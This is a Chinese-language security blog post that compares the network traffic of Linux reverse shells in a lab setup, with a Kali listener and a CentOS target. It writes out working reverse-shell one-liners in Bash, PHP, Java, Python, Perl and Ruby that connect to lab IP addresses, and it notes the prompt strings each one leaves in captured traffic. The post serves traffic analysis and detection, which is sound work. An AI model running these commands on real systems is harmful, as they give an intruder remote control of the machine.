反弹shell(reverse shell)是控制端监听某端口,受控端发起连接到控制端。互联网上有大量关于反弹shell的资料,这里不再论述,本文只是分析一下linux系统下各种反弹shell的流量。
控制端:kali
受控端:centos7
控制端开启nc监听命令:nc -lvp 3333

0x01 Bash反弹shell

/bin/bash -i >& /dev/tcp/192.168.1.120/3333 0>&1

受控端反弹shell到控制端,会传递[root@localhost ~]#字符串给控制端,控制端在后输入shell命令即可执行。
Bash反弹shell流量

0x02 PHP反弹shell

php -r '$sock=fsockopen("192.168.1.120",3333);exec("/bin/sh -i <&3 >&3 2>&3");'

受控端反弹shell到控制端,会传递sh-4.2#字符串给受控端,4.2指的是bash的版本。
PHP反弹shell流量

0x03 Java反弹shell

public class Revs {
public static void main(String[] args) throws Exception {
        Runtime r = Runtime.getRuntime();
        String cmd[]= {"/bin/bash","-c","exec 5<>/dev/tcp/192.168.1.187/3333;cat <&5 | while read line; do $line 2>&5 >&5; done"};
        Process p = r.exec(cmd);
        p.waitFor();
    }
}

把该代码保存为Revs.java文件

javac Revs.java
java Revs

java使用Runtime.getRuntime().exec()调用服务器命令进行反弹shell。
Java反弹shell流量

0x04 Python反弹shell

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.1.187",3333));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

python反弹shell的流量与php反弹shell的流量一致,会传递sh-4.2#字符串给控制端。
Python反弹shell流量

0x05 Perl反弹shell

perl -e 'use Socket;$i="192.168.1.120";$p=3333;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

Perl也是脚本语言,调用系统socket进行反弹shell,传输sh-4.2#字符串给控制端。
Perl反弹shell流量

0x06 Ruby反弹shell

ruby -rsocket -e 'exit if fork;c=TCPSocket.new("192.168.1.120","3333");while(cmd=c.gets);IO.popen(cmd,"r"){|io|c.print io.read}end';

ruby不需要调用系统的/bin/bash进行反弹shell,所以流量中只有执行的命令。
Ruby反弹shell流量

0x07 总结

这里只是简要分析了几种反弹shell的流量,一般脚本语言调用/bin/bash进行反弹shell时,流量中会出现类似sh-4.2#[root@localhost ~]#字符串+命令的组合,如果脚本直接利用系统TCPSocket,则只会出现命令在流量中。

参考资料:
https://www.cnblogs.com/xiaozi/p/13493010.html
https://www.acunetix.com/blog/web-security-zone/what-is-reverse-shell/
Last modification:February 8th, 2021 at 05:10 pm